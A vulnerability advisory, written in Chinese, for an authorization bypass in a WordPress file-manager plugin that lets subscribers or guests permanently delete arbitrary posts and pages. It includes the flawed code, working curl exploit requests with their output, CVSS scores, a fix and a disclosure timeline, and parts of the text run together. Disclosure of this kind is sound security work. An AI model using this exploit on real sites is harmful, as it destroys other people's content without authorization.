
CVE-2026-8380
在 WordPress 插件 Frontend File Manager (nmedia-user-file-uploader) 中发现了一个严重的授权缺陷,影响版本 <= 23.6。
由于 AJAX 删除端点中的授权验证不当,该漏洞允许低权限的已认证用户永久删除任意 WordPress 文章、页面、附件和自定义文章类型。
当插件选项 _allow_guest_upload=yes 启用时,未认证攻击者也可利用该漏洞。
nmedia-user-file-uploader)该插件包含一个严重的授权绕过漏洞,可通过 wpfm_delete_file AJAX 操作中的参数不匹配校验,实现 WordPress 内容的任意删除。
该漏洞已在受控实验室环境中成功验证,并完成了主动的概念验证(PoC)利用。
研究过程中还发现了其他安全弱点:
_allow_guest_upload 在多个端点中禁用授权检查REMOTE_ADDR 进行速率限制POST /wp-admin/admin-ajax.php?action=wpfm_delete_file
inc/files.php
// inc/files.php:691
if( !$allow_guest && ! wpfm_is_current_user_post_author($_POST['file_id'] )) {
wp_send_json_error(__("Sorry, not allowed", "wpfm"));
}
// inc/files.php:695
$file_ids = isset($_POST['file_ids']) && is_array($_POST['file_ids'])
? array_map('intval', $_POST['file_ids']) : [];
foreach ($file_ids as $file_id) {
$file = new WPFM_File($file_id);
wp_delete_post($file_id, $bypass_trash);
}
授权检查使用单数参数验证所有权:
$_POST['file_id']
然而,实际的删除操作遍历的是另一个参数:
$_POST['file_ids[]']
由于这种不匹配,攻击者可以:
file_id 中提供一个合法拥有的文章file_ids[]不存在任何验证来确保:
file_ids[] 中每个条目的所有权post_typefile_id 与 file_ids[] 之间的关系因此,任意 WordPress 内容都可能被永久删除。
拥有最低权限的已认证用户可以永久删除:
删除操作通过以下代码执行:
wp_delete_post($file_id, true);
这意味着内容将被永久删除,无法从回收站恢复。
如果启用了 _allow_guest_upload=yes:
192.168.1.1:8080wpfm_sub : Sub@Test123
Page ID: 60
Post ID: 61
攻击者访问包含以下短代码的页面:
[ffmwp]
提取 nonce:
curl -b sub_cookie http://target/wpfm-test/ | grep wpfm_ajax_nonce
响应:
value="9c233d4720"
curl -b sub_cookie -X POST http://target/wp-admin/admin-ajax.php \
--data 'action=wpfm_delete_file' \
--data 'wpfm_ajax_nonce=9c233d4720' \
--data 'file_id=57' \
--data 'file_ids[]=60' \
--data 'file_ids[]=61'
| 参数 | 说明 |
|---|---|
file_id=57 | 订阅者拥有的文章,用于绕过授权 |
file_ids[]=60 | 受害者管理员页面 |
file_ids[]=61 | 受害者管理员文章 |
{
"success": true,
"data": {
"message": "2 files, directories are removed inside SUB-OWNED"
}
}
curl -o /dev/null -w "%{http_code}\n" \
http://target/wp-json/wp/v2/pages/60
404
curl -o /dev/null -w "%{http_code}\n" \
http://target/wp-json/wp/v2/posts/61
404
8.1 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
9.1 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
验证 file_ids[] 中每个条目的所有权和文章类型。
安全实现示例:
foreach ($file_ids as $fid) {
if ( ! wpfm_is_current_user_post_author($fid) ) {
wp_send_json_error(...);
}
if ( get_post_type($fid) !== 'wpfm-files' ) {
wp_send_json_error(...);
}
}
| 事件 | 日期 |
|---|---|
| 发现漏洞 | 2026-05-28 |
| 联系厂商 | 2026-05-28 |
| WPScan 发布 | 2026-06-04 |
| 公开披露 | 2026-06-18 |
本研究仅在受控实验室环境中进行,仅供教育和安全研究之用。
未经适当授权,请勿对系统进行测试。